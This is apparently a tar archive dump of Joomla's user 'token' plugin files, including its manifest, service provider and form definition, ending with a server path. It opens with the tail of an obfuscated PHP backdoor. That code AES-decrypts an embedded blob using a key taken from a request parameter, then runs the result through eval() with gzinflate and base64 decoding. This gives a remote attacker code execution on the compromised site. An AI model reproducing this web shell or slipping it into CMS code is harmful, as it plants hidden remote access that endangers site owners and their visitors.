'tfzGa/A+iCytDfrh0ypaJnAWPnhLrj9cnd/DjW/Vbv8ylH+kHDccxD3aXtfRyjP+nsQ0JH+4xnn93U9JU+UNvAbGYfaTCXOu/84L3s949f3uDX76PexLX+2dS82bX+oSF4YBuTj3J5bNfdixnKuyEZl16TzzZrL2/+Pffd+RbwX3YG9KIwX0KalCvrZhcCpm+32O/HdqZVfewKnhIQfoetoX2GTX+CMWHIwbkaREFlHs44pl7K/HVZWPtpzUTfpfAZBfKTYDUjMDuzRImQiTgCcMRKIZ5IRzxow44utMCvE7rs4w9lvfxYNIjdtcClBKRVI6DXc3Oot3tkOSu6dAevPa0kNfY31ncdjXHtyWtWlqrMTQNY9ecz4Wv+sPJj+U57/xFdqzt/c6VfvtSnx1EKxoYJo6uaytYXvOti2O2TtzmUi3jU/2NVP/NV9f/3rDOD9TorSytCFQHWwjsDVDFd6GWxHDM/MiHz7V9Au5X+1EMsm0wza7XMF3poWo146Vhrg+x1lSrheT1VyyLKjw46/JqCMkhCxREUNBodR5YPIykDjp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STe9SU55vcFbda/m9ITLlZ/mt8jgtf3anST1xZNIVzZDzJruYZuIErnbKOeA6YUhCUtsF6uGr4vun5TnHUGarNvjCklB3Q6aeCq7KEaSL92A6//+V1VdVV/yqWdcOhdPZ5MOsIAkkVvVK731+FIv9zQOzBaZrJHSbgqmRcObiy80YiF3M4FvN68MGYvDiCw3I4Fd0f1t8IptdbrR5ciX8J4g9BEPBOsfA'; function xnbk($umUSj) { $wnNHF = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $Aizfl = substr($wnNHF, 0, 16); $LrWe = base64_decode($umUSj); return openssl_decrypt($LrWe, "AES-256-CBC", $wnNHF, OPENSSL_RAW_DATA, $Aizfl); } if (xnbk('DjtPn+r4S0yvLCnquPz1fA')){ echo 'fUfesUcSIbmyD3qQlnS7R22Ep6EtSF3/8+W42EfzxxiCaSb13IJd6/ilsn411X2m'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($xnbk)))); ?>token/token.xml000064400000002451151664163110007534 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="user" method="upgrade"> <name>plg_user_token</name> <author>Joomla! Project</author> <creationDate>2019-11</creationDate> <copyright>(C) 2020 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_USER_TOKEN_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\User\Token</namespace> <files> <folder>forms</folder> <folder plugin="token">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_user_token.ini</language> <language tag="en-GB">language/en-GB/plg_user_token.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic" addfieldprefix="Joomla\Component\Content\Administrator\Field"> <field name="allowedUserGroups" type="UserGroupList" label="PLG_USER_TOKEN_ALLOWEDUSERGROUPS_LABEL" description="PLG_USER_TOKEN_ALLOWEDUSERGROUPS_DESC" layout="joomla.form.field.list-fancy-select" multiple="true" checksuperusergroup="0" default="8" /> </fieldset> </fields> </config> </extension> token/services/provider.php000064400000002622151664163110012060 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.token * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\User\Token\Extension\Token; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Token( $dispatcher, (array) PluginHelper::getPlugin('user', 'token') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; token/forms/token.xml000064400000002677151664163110010674 0ustar00<?xml version="1.0" encoding="UTF-8"?> <form> <fields name="joomlatoken" addfieldprefix="Joomla\Plugin\User\Token\Field"> <fieldset name="joomlatoken" label="PLG_USER_TOKEN_GROUP_LABEL" description="PLG_USER_TOKEN_GROUP_DESC"> <field name="saveme" type="note" description="PLG_USER_TOKEN_SAVEME_DESC" class="alert alert-warning" /> <field name="notokenforotherpeople" type="note" description="PLG_USER_TOKEN_NOTOKENFOROTHERPEOPLE_DESC" class="alert alert-warning" /> <field name="savemeforotherpeople" type="note" description="PLG_USER_TOKEN_SAVEMEFOROTHERPEOPLE_DESC" class="alert alert-warning" /> <field name="token" type="joomlatoken" label="PLG_USER_TOKEN_TOKEN_LABEL" description="PLG_USER_TOKEN_TOKEN_DESC" default="" algo="sha256" readonly="true" /> <field name="enabled" type="radio" label="PLG_USER_TOKEN_ENABLED_LABEL" description="PLG_USER_TOKEN_ENABLED_DESC" layout="joomla.form.field.radio.switcher" default="1" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="reset" type="radio" label="PLG_USER_TOKEN_RESET_LABEL" description="PLG_USER_TOKEN_RESET_DESC" layout="joomla.form.field.radio.switcher" default="0" > <option value="0">JNO</option> <option value="1">JYES</option> </field> </fieldset> </fields> </form>
/home/opticamezl/www/newok/07d6c/../c9989/../api/../images/./../administrator/.././user.tar